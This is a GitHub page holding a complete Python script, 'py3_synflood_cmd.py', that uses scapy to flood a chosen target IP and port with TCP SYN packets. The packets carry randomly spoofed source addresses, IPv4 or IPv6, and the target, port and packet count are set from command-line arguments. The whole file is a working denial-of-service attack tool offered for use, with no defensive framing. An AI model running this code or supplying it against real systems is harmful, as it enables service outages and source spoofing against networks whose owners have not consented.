-
Notifications
You must be signed in to change notification settings - Fork 99
/
Copy pathpy3_synflood_cmd.py
115 lines (90 loc) · 2.92 KB
/
py3_synflood_cmd.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
#!/usr/bin/python3
# Emre Ovunc
# Python3 SYN Flood Tool CMD v2.0.1
from sys import stdout
from scapy.all import *
from random import randint
from argparse import ArgumentParser
def randomIP():
ip = ".".join(map(str, (randint(0, 255)for _ in range(4))))
return ip
def randInt():
x = randint(1000, 9000)
return x
def SYN_Flood(dstIP, dstPort, counter):
total = 0
print ("IPv4 Packets are sending ...")
for x in range (0, counter):
s_port = randInt()
s_eq = randInt()
w_indow = randInt()
IP_Packet = IP ()
IP_Packet.src = randomIP()
IP_Packet.dst = dstIP
TCP_Packet = TCP ()
TCP_Packet.sport = s_port
TCP_Packet.dport = int(dstPort)
TCP_Packet.flags = "S"
TCP_Packet.seq = s_eq
TCP_Packet.window = w_indow
send(IP_Packet/TCP_Packet, verbose=0)
total+=1
stdout.write("\nTotal packets sent: %i\n" % total)
def SYN_Flood_v6(dstIP, dstPort, counter):
total = 0
print ("IPv6 Packets are sending ...")
for x in range (0, counter):
s_port = randInt()
s_eq = randInt()
w_indow = randInt()
IP_Packet = IPv6 ()
IP_Packet.src = RandIP6()
IP_Packet.dst = dstIP
TCP_Packet = TCP ()
TCP_Packet.sport = s_port
TCP_Packet.dport = int(dstPort)
TCP_Packet.flags = "S"
TCP_Packet.seq = s_eq
TCP_Packet.window = w_indow
send(IP_Packet/TCP_Packet, verbose=0)
total+=1
stdout.write("\nTotal packets sent: %i\n" % total)
def main():
parser = ArgumentParser()
parser.add_argument('--target', '-t', help='target IP address')
parser.add_argument('--port', '-p', help='target port number')
parser.add_argument('--count', '-c', help='number of packets')
parser.add_argument('--format', '-f', help='format of target(Can ignore, default use ipv4)')
parser.add_argument('--version', '-v', action='version', version='Python SynFlood Tool v2.0.1\n@EmreOvunc')
parser.epilog = "Usage: python3 py3_synflood_cmd.py -t 10.20.30.40 -p 8080 -c 1 -f 6"
args = parser.parse_args()
if args.target is not None:
if args.port is not None:
if args.count is None:
print('[!]You did not use --counter/-c parameter, so 1 packet will be sent..')
SYN_Flood(args.target, args.port, 1)
else:
print(f"args.format = {args.format}")
if args.format == '6':
SYN_Flood_v6(args.target, args.port, int(args.count))
else:
SYN_Flood(args.target, args.port, int(args.count))
else:
print('[-]Please, use --port/-p to give target\'s port!')
print('[!]Example: -p 445')
print('[?] -h for help')
exit()
else:
print('''usage: py3_synflood_cmd.py [-h] [--target TARGET] [--port PORT]
[--count COUNT] [--version]
optional arguments:
-h, --help show this help message and exit
--target TARGET, -t TARGET
target IP address
--port PORT, -p PORT target port number
--count COUNT, -c COUNT
number of packets
--version, -v show program's version number and exit''')
exit()
main()